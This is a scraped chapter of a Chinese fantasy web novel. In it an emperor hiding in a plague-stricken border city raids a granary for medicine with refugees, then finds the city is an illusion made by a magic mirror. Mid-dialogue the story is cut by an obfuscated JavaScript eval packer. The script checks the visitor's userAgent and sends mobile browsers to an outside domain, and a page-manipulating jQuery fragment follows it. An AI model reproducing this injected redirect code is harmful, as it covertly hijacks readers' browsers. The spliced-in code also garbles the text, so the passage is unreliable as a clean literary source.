默认冷灰
24号文字
方正启体

42. 幻境腐生

作者:鱼儿无心本书字数:K更新时间:
    边城地窖的暗道蜿蜒曲折,商书桓跟在鸣一身后,泥地潮湿,踩在脚下发出黏腻的声响。


    他满身尘土,眼中全无光彩,不时回头,只有影卫跟在身后,蕲艾没有跟来……


    “前面就是出口。”鸣一低声道,声音在地道中回荡,“通向城西的废弃药圃。”


    商书桓没有回应,蕲艾的眼神在他脑海中不断浮现,里面交织着失望、愤怒和某种他读不懂的东西。


    她为何要问西城门的古井?难道那口井与这一切有何关联?


    暗道尽头是一块石板,用力去推便可以移动,鸣一小心推开一条缝隙,确认安全,完全移开石板。


    夜风夹杂着草药的味道,商书桓深吸了口气,跟着爬出去。


    他在起身的一瞬愣住,眼前不是他想象中的废弃药圃,而是一个营地,隐蔽在此处。


    十几顶帐篷简陋粗糙,围绕着一处极大的篝火,火堆旁坐着衣衫褴褛的百姓,有老人、妇女,还有孩童,面色蜡黄,带着病态……紫黑色的斑点在火光下显得格外刺目。


    “这是……”商书桓声音干涩,连自己都听不清楚。


    “幸存者。”鸣一答道,“那些没喝井水,又逃过了官府抓捕的人。”


    一个佝偻着背的老者注意到他们,浑浊的眼睛突然睁大:“皇……皇上?”


    营地瞬间安静,目光皆转向商书桓,混杂着敬畏、恐惧以及……恨意。


    一妇人紧紧搂住怀中的孩子,那孩子的手臂上满是紫黑色的疮疤。


    商书桓喉间发紧,他曾坐在明光殿上,听着大臣们汇报“疫区已全部肃清”的奏章,批阅过“百姓感恩戴德”的奏表,而现在,那些他早就判定已死的百姓,正活生生地站在他面前,看着他,静默中,是控诉。


    “陛下怎么会在这里?”老者问道,颤颤巍巍,难以置信。


    商书桓不知如何回答,难道要说自己被自己下令处死的“腐生者”追杀,狼狈逃窜至此?


    鸣一解围道:“陛下微服私访,体察民情。”


    人群中传来一阵阵冷笑,一年轻男子站出,脸上带着未愈的疮疤:“体察民情?是来看看他下令封死的坊区里有多少人没死透吧?”


    鸣一手按在刀柄上,低眸不语,商扶砚派他“追杀”商书桓离京,暗中保护他前往北境,这发现,他也还在震惊。


    这些人……是如何到了此处的?


    商书桓无言可辩,太医院首座曾跪在殿前哭诉此疫蹊跷,他却以“妖言惑众”为由将其下狱。


    “朕……”他艰难开口,不知该说什么……道歉?解释?显得苍白无力……甚至可笑……


    “老朽斗胆,”老者打破了沉默,嘶哑的嗓音掩盖了西北边城的风声,“陛下可否告知,外面的情形如何?那些……怪物还在肆虐吗?”


    商书桓摇头:“朕不清楚。”他目光扫过众人,“你们为何躲在这里?飞云关官府的赈济呢?”


    沉默再次铺天盖地,一个瘦弱的少女怯怯回答:“官府……官府说我们染了瘟疫,要抓我们去烧死……他们克扣了治病的药材,只给那些给得起银两的人……”


    商书桓如遭重击,他转向鸣一:“此事当真?”


    鸣一低头道:“属下……不敢妄言。”


    商书桓从影卫的回避中读出了答案,他想起赵庆嵩信誓旦旦地保证“赈济药材已足量发放”,想起户部奏折中那串庞大的数字……全是谎言……


    “现在这里最缺什么?”他问道。


    老者苦笑:“什么都缺,但最紧要的是药材……鱼腥草、黄连、金银花……没有这些……孩子们怕是撑不过这一季了。”


    商书桓沉默片刻,一抬眸忽然锐利决绝:“带朕去看看你们储存的药材。”


    老者犹豫片刻,领着商书桓来到一个破旧帐篷,就在营地边缘:“陛下请看药库。”


    老者掀开帐帘,里面的景象让商书桓呆住,所谓的“药库”不过是几个破木箱,里面零星地放着几株干枯的草药,加起来连一个箱子都装不满。


    “就这些?”他难以置信,明光殿里的记册可不是这样的。


    “官府管控药材出入,黑市上的价格翻了十倍不止。”老者叹息道,“我们这些逃出来的人,身无分文……”


    商书桓蹲下身,捡起一株干枯的鱼腥草,这种在他眼中微不足道的野草,此刻竟成了救命的珍宝。


    “朕知道哪里有药材。”他忽然说道。


    营地难民跟随而来,静静站在帐外看着他,身后正好是龙霓帝京的方向,隐约可见天空紫云缭绕,火蛇不时窜出……


    “官仓。”商书桓站起身,眸中一片决然,“朕记得付永年的奏报里,飞云关西城官仓存有大量药材,是备灾用的。”


    鸣一脸色大变:“陛下!官仓重地,有重兵把守!”


    “所以才要智取。”商书桓看向营地的百姓,“你们中可有熟悉官仓地形的人?”


    那个出言不逊的年轻人站了出来:“我先前在官仓做过苦力,但就算知道地形又如何?那些守卫……”


    “守卫朕来解决。”商书桓打断他,“你只需带路。”


    老者惊恐万分,抓住商书桓破旧染血的衣袖:“陛下,此举过于冒险,若您有个闪失……”


    “比起眼睁睁看着子民受苦而无所作为,”商书桓轻声道,“这点风险算什么?”


    营地再次寂静,难民面面相觑。


    “我去。”少女忽然站出来,“我爹……我爹是药师,教过我认药材。”


    “我也去。”又一个男子站出来,“我力气大,能扛东西。”


    “陛下真要如此?”鸣一低声确认,“这……可有失体统。”


    商书桓自嘲一笑:“体统?朕还有什么体统?处处不如你家主子……甚至……不如你……”


    鸣一塞给他一柄短刀,藏在靴筒里:“陛下小心,属下会在外策应。”


    “记住,”老者颤颤拉住商书桓的手,“官仓西墙有个排水口,年久失修,可以撬开进去,但里面有三班守卫轮流巡逻,每半个时辰一次。”


    商书桓点头:“我们只取必需的药材,不多拿,明白吗?”


    少女怯怯问道:“皇上……陛下知道我们需要什么药材吗?”


    商书桓愕住,他确实知道,但他没有救他们……愧疚再次将他淹没,如此境况,他几乎抬不起头来。


    老者连忙道:“鱼腥草最要紧,其次是黄连,虽然苦但效果好;金银花……”


    “等等。”商书桓打断他,“鱼腥草?那不是野草吗?御医从不用这等低贱药材。”


    老者苦笑:“陛下,对我们这些穷人来说,鱼腥草就是宝贝……它虽不如人参灵芝名贵,但对付这种毒疮有奇效……老朽这些年发现,用新鲜鱼腥草捣碎敷在疮口上,效果比许多名贵药材都好。”


    商书桓第一次听说这种事,他何曾想过路边野草也能治病?


    “朕……记下了。”他郑重道。


    夜幕低垂,一行人离开营地,向官仓潜行,商书桓走在队伍中间,心跳如鼓。


    他,一国之君,竟要去做贼?这若传出去,朝堂必定大乱……但此刻,他心中竟有种奇异的解脱感……活着的感觉触手可及,血流随着急促的脚步涌动,心跳加速,他第一感觉到如此切实的呼吸。


    城西官仓由砖石垒成,高大坚固,他们偷偷绕行,果然在西墙底部找到一个排水口,铁栅栏已锈蚀不堪。


    “我去撬开。”一男子低声道,从腰间掏出一把铁钳。


    商书桓按住他:“等等。”


    围墙上火把缓缓移动,守卫来回巡查,他观察片刻,道:“守卫每半刻钟经过这里一次,我们等他过去再动手。”


    鸣一对此惊讶不已,目光停在他身上忘了移开。


    商书桓发觉他的目光,转过脸来,轻声道:“朕小时候常和……兄长玩这种游戏。”提到商扶砚,他心上五味揉杂。


    守卫渐渐走远,他们几下便撬开了锈蚀的栅栏,排水口不大,但足够一个人匍匐通过。


    “我先进去探路。”鸣一低声道。


    “不,朕去。”商书桓拉住他,“若被发现,朕的身份还能周旋一二。”


    不等鸣一反应,商书桓已俯身钻入排水口,通道狭窄潮湿,他一身短打浸透了污水,恶臭扑鼻,挥之不去。


    这种污秽……若是在京城,他定会勃然大怒,但此刻,他亦惊喜于自己无动于衷。


    排水口通向后院,院子里堆满了杂物,商书桓示意他们跟上,借着阴影向主仓摸去。


    “药材仓在东北角。”男子小声指引,“但门口有守卫。”


    商书桓观察片刻,有了主意,他捡起一块石子,用力扔向对面墙壁,石子发出脆响,守卫即刻警觉,前去查看。


    “快!”商书桓带头跑到仓门前,一把铜锁雕有回凤纹,厚重又结实。


    “让我来。”另一男子从怀中掏出一根铁丝,轻松撬开了锁,忽然一怔,回头看向商书桓。


    商书桓未觉察他眸中一丝惊慌,勾唇一笑,推开了仓门,浓郁的药香扑面而来,少女迅速扑向那些麻袋和木箱翻找起来。


    “鱼腥草……黄连……金银花……”她一边念叨一边将药材塞进带来的布袋里。


    商书桓也学着翻找,但他根本不认识这些药材……


    少女见状,悄悄凑过来:“陛下,这种叶子像鱼鳞的就是鱼腥草,闻起来有腥味……这种黄色根茎是黄连……”


    外面传来脚步声:“刚才好像听到这边有动静……”


    “去看看药仓。”


    众人僵住,鸣一带着影卫伏在门外,拔了刀,挡在商书桓身前。


    少女脸色惨白,手中的药材袋差点掉在地上,商书桓环顾四周,发现墙角有几个空木箱,他示意他们躲进去,自己也钻进了一个箱子,轻轻合上盖子。


    箱内狭小黑暗,商书桓听到自己的心跳,守卫的脚步越来越近,手已搭上了仓门把手……


    门外忽然一阵喧哗:“着火了!粮仓着火了!”


    守卫脚步即刻转向,一个个匆匆离去,商书桓长舒一口气,轻轻推开箱盖,其他人也陆续钻出来,皆是惊魂未定。


    “怎么回事?”年轻人小声问。


    鸣一微微一笑:“我刚才在粮仓那边……留了个火种。”


    “快,趁乱多拿些。”商书桓毫不犹豫地下令。


    鸣一在前方探路,几个百姓背着更多的药材,商书桓背着装满药材的布袋,跟在队伍最后,脚步轻快中有些紧张。


    粮仓的火光映红了半边天幕,他们的影子在地上拉得很长,“再快些。”商书桓低声催促,“天亮前必须回到营地。”


    他双脚早已浸透了污水,每走一步都发出轻微的咕啾声,这不适感竟让他觉得真实,他发觉这是他第一次真切地觉得自己活着,为他人,而非自己。


    转过一条小巷,商书桓忽然停下脚步。


    “怎么了?“鸣一警觉回头。


    商书桓盯着巷子尽头的一堵墙,墙砖的排列方式……他似乎在不久前刚见过一模一样的图案。


    更怪的是,墙上那道形似人脸的裂缝,连嘴角下垂的弧度都与官仓后墙上的如出一辙。


    “没什么。”他摇摇头,压下心头不安,“继续走。”


    队伍再次前行,商书桓的余光不断扫视四周,这座边城他明明是第一次来,为何某些角落给他一种诡异的熟悉感?就像……就像曾在梦中见过。


    “前面就是营地了。”男子指向不远处隐约的篝火。


    营地外围,几个身影正在焦急踱步,见他们回来,即刻迎了上来。


    商书桓认出了那个佝偻的老者,那老者正搓着手,浑浊的眼里满是期待。


    “陛下!老朽就知道您能成啊!”


    商书桓卸下背上布袋,交给迎上来的妇人,就在交接的瞬间,他注意到妇人右手背上的胎记,一个形如蝴蝶的暗红色印记,他忽然浑身一寒。


    这个胎记……他见过……不,不止见过,就在两个时辰前,在官仓附近,一个向他们乞讨的老妪手上,有着一模一样的胎记。


    “陛下?”妇人看着他僵住的动作,表情疑惑。


    商书桓猛地环顾四周,营地里的面孔……那些在火堆旁熬药的身影,那些照顾孩子的母亲,那些搬运东西的男子……他们中至少有五六张面孔,他在城中的不同地方都曾见过。


    这不可能……飞云关虽不算大城,但也不至于人口稀少到这种程度……除非……


    “陛下累了。”鸣一察觉到他有些不对,上前一步,挡在他与妇人之间,“药材既已取回,请陛下稍事休息。”


    老者连忙点头:“是是是,老朽糊涂了,陛下随我来,已为您准备了干净的帐子。”


    商书桓机械地跟着老者,营地中央有一顶稍大的帐篷,他无心探究,心中只试图为那些重复的面孔找到合理解释,却只感到一阵阵寒意爬上脊背。


    帐篷内简陋但整洁,一张矮榻,一盏油灯,还有一盆清水。老者退了出去,留下商书桓一人。


    他蹲下身,双手浸入水盆,冷水浸过皮肤,却无法浇灭他心中越来越强烈的不安。


    水波平静,映出他的面容,眼下青黑,胡茬凌乱,哪还有半分帝王威仪?


    “这就是你想要的体察民情?”他对着水中的倒影喃喃自语。


    水中的他忽然扭曲了一下,商书桓猛地缩回手,水花溅了一地。


    再定睛看去,水面已恢复平静,仿佛刚才的异动只是他的错觉。


    “谁?”他警觉转身,身后空无一人。


    帐篷外传来脚步声,接着是鸣一压低的声音:“陛下,有情况。”


    商书桓掀开帐帘,营地依旧忙碌,百姓们正分发药材,熬制药汤,而鸣一的脸色却异常凝重。


    “怎么了?”他问道。


    鸣一示意他看向营地边缘:“您看那里。”


    影卫所注视的方向,商书桓看到几个陌生人正在与老药师交谈。


    他们穿着普通百姓的衣裳,站姿笔直,动作整齐划一。


    “官兵?”商书桓眯起眼睛。


    “不像。”鸣一摇头,“他们身上有股……死气。”


    话刚落,其中一个人忽然转头,目光正对着商书桓的方向,那张脸惨白如纸,两只眼睛漆黑一片,没有眼白。


    商书桓的血液瞬间凝固,这不是活人的眼睛。


    “准备撤离。”他低声喝令,“通知所有人,收拾必需品,我们从北面离开。”


    鸣一刚要行动,营地中央爆发出一阵尖叫声,商书桓转头看去,只见那几个诡异的人已撕去了伪装,露出紫灰色的皮肤和尖锐的爪子。


    他们扑向邻近的百姓,利爪轻易地撕裂了他们的血肉。


    “幽兵!”有人惊恐大喊。


    营地霎时大乱,百姓四散奔逃,火堆翻倒,炽焰四溅,商书桓拔出鸣一给他的短刀,冲向幽兵。


    他毫不犹豫地挥刀,刀刃瞬间刺入幽兵后背,没有血流出来。


    幽兵缓缓转身,漆黑的眼睛盯着商书桓,嘴角咧开一个不似人的笑容。


    “陛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179903|180900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……下……”它嘶哑地喊道,声音像是从很远的地方传来,“您……终于……来了……”


    商书桓的刀僵在半空,这怪物认识他?


    幽兵没有攻击,而是伸出爪子,指向西城门的方向:“井……看井……”


    鸣一从侧面扑来,一刀斩下幽兵的头颅,那头颅嘴唇却还在蠕动:“井……真相在井……”


    幽兵从黑暗中涌出,越来越低,似是那一片片黑暗所化,营地里的抵抗越来越弱。


    三个幽兵按在地上将老者按在地上,那个手上有着蝴蝶胎记的妇人抱着孩子狂奔,一个幽兵忽然冲出将他扑倒……


    “陛下,我们必须走!”鸣一拽着他的手,“这些不是普通幽兵,我们对付不了!”


    一道银光闪过,靠近商书桓的幽兵忽然僵住,额头上多了一根细如发丝的银针,紧接着,第二根、第三根……幽兵们一一倒下。


    “发什么呆?跑啊


    熟悉的声音让商书桓浑身一震,他转头看去,蕲艾站在营地边缘,手中银针泛着寒光。


    她的衣裙破烂不堪,脸上还有血迹,眼神锐利。


    “蕲艾!”商书桓从未如此欣喜地唤一个人的名字。


    “别喊了!”蕲艾冲过来,一把抓住他,“跟我走!”


    她手掌冰凉,拽着他向营地外冲去,鸣一带着影卫紧随,回身数刀斩落扑来的幽兵。


    “你去哪了?”商书桓边跑边问,“我以为你……”


    “闭嘴!”蕲艾厉声打断,“省点力气逃命吧,陛下!”


    他们穿过营地,钻进一条狭窄的小巷,幽兵的嚎叫声渐渐远去,但蕲艾的脚步丝毫不停。


    她带着他们七拐八绕,最终停在一堵矮墙前。


    “翻过去。”她命令道。


    商书桓犹豫了一下,墙后是什么?为何蕲艾会突然出现?疑问在他脑海中盘旋,但身后是追兵,他别无选择。


    翻过矮墙,是一片荒废的菜园,开阔平坦,杂草丛生,中央有一口古井,井台上刻着模糊的符文。


    “西城门的古井……”商书桓喃喃道。


    这正是蕲艾之前问过他的那口井。


    蕲艾松开他的手,快步走到井边:“过来,看看里面。”


    商书桓缓步上前,井口幽深,黑暗中隐约能听见水声,他俯身向下望去……


    水面如镜,映出的却不是他的倒影,而是一幅骇人的景象……飞云关的全景,与他所见截然不同……


    城墙倒塌,房屋焚毁,街道上横七竖八地躺着无数尸体,更可怕的是,那些尸体大多都已化为白骨,显然已死去多时。


    “……这是什么?”商书桓声音发颤。


    “真正的飞云关。”蕲艾冷冷说道,“三个月前就已是这样了。”


    商书桓猛地直起身,不可置信地看着她:“不可能!我们刚才还在城中,那些百姓……”


    “都是幻象。”蕲艾指向井水,“包括你看到的这个营地,那些人,甚至那些幽兵……全是幻真镜制造出来的。”


    商书桓脑中轰然作响……幻真镜?那不是南疆秘宝吗?怎么……


    “陛下!小心!”


    商书桓后心一凉,低头看去,一截刀尖已从他胸口穿出。


    他缓缓转身,老者慈眉善目地扭曲出一副诡异的笑容。


    “陛下……为何要逃呢?”老药师的声音变得尖细刺耳,“留在这里……永远留在这里……”


    商书桓踉跄后退,鲜血从嘴角溢出,蕲艾的银针射向老者,无形的屏障将银针弹开。


    “没用的……”老者咯咯笑着,“在镜中,我们是不死的……”


    商书桓跪倒在地,视线开始模糊,他看见幽兵缠住了鸣一和影卫,看见蕲艾拼命向他奔来……


    “井……”蕲艾大喊,“记住井里的景象!那不是未来,是现在!”


    商书桓眼前发黑,意识消散前最后一刻,他死死盯着那口古井,将井水中映出的惨象刻进脑海。


    世界像一面镜子般在无形的重锤下碎裂,周围的景象……营地、幽兵、甚至夜空……尽数裂成碎片,闪着光,簌簌落下。


    商书桓感到自己在坠落,坠向无底的深渊...


    “陛下?陛下!”


    急促的呼唤将他拉回现实,商书桓猛地睁眼,发现自己躺在一张简陋的床上,胸口完好无损,没有伤口。


    蕲艾坐在床边,鸣一和几名影卫站在不远处,神情戒备。


    “我……我没死?”商书桓挣扎着坐起。


    “差一点。”蕲艾递给他一碗水,“你困在幻真镜里太久了,再晚一刻醒来,魂魄就会永远困在镜中世界。”


    商书桓环顾四周,这是一间破旧的木屋,阳光从缝隙中透进来,在地上投下斑驳的光影。屋外隐约传来鸟鸣,真实得令人想哭。


    “那些百姓……营地……幽兵……”


    “都是幻象。”蕲艾叹息,“从您踏入飞云关的第一步起,就已经进入了幻真镜制造的幻境。”


    商书桓想起井水中看到的景象,胃部一阵绞痛:“所以……飞云关真的已经……”


    “全城覆灭。”蕲艾点头,“三个月前,赵庆嵩在这里试验幽冥毒草,引发了灾难,那些没死的百姓……变成了您看到的腐生者。”


    鸣一上前一步:“属下探查过了,西城门确实有口古井,井水能照出真实景象。但城中已无活人,只有游荡的腐生者和幽兵。”


    商书桓双手发抖,他盗取药材的官仓,那些他想要拯救的百姓,甚至那些攻击他们的幽兵……全都不存在?


    “那你呢?”他猛地抓住蕲艾的手,“你是真的吗?”


    蕲艾任由他抓着,微微皱了眉:“我是真的。我一直在找你……从你离开龙霓那天起。”


    “为什么?”商书桓追问,“你为什么要救朕?朕曾下令……”


    “因为有人相信你还能做个好皇帝。“蕲艾轻声道,“而且……西城门的古井不仅是映照真相的镜子,它还是……”


    号角声打断了她的话,鸣一冲到窗边:“是曜灵军!他们找到这里了!”


    透过窗边缝隙,可见一队曜灵军骑兵正在远处的山坡上列阵。


    阳光照在他们的铠甲上,反射出幽绿色的光。


    “那不是真正的曜灵军。”蕲艾站在他身旁,“是赵庆嵩用幽冥秘术改造的''幽骑'',比腐生者更危险。”


    商书桓转向她:“井还是什么?你刚才没说完。”


    蕲艾犹豫了一下:“是通道……连接三界的通道……赵庆嵩就是通过这口井,将幽冥毒草引入人间的。”


    鸣一开始布置防御:“陛下,我们必须撤离……影卫在东南方备了马。”


    商书桓站在原地:“最后一个问题。”他直视蕲艾的眼睛,“是谁派你来救朕的?”


    屋外号角声越来越近,地面开始轻震动,蕲艾咬了咬唇,终于开口:“是靖王殿下。"


    “不可能……”他喃喃道,“他为什么要……”


    “因为只有你能阻止这一切蔓延。”蕲艾快速说道,“只有龙霓皇族的血脉相连相续,才能彻底关闭幻境通道。”


    鸣一打开了后门:“陛下,再不走就来不及了!”


    商书桓怔怔看了鸣一片刻,最后望向窗外,逼近的幽骑形似鬼影,初阳透过窗户落在他脸上,却驱不散他身上寒意。


    他以为自己了解一切,掌控一切,却原来连自己的生死都在他人算计之中。


    “带朕去见商扶砚。”他对蕲艾说,声音低沉但坚定,“是时候……当面谈谈了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)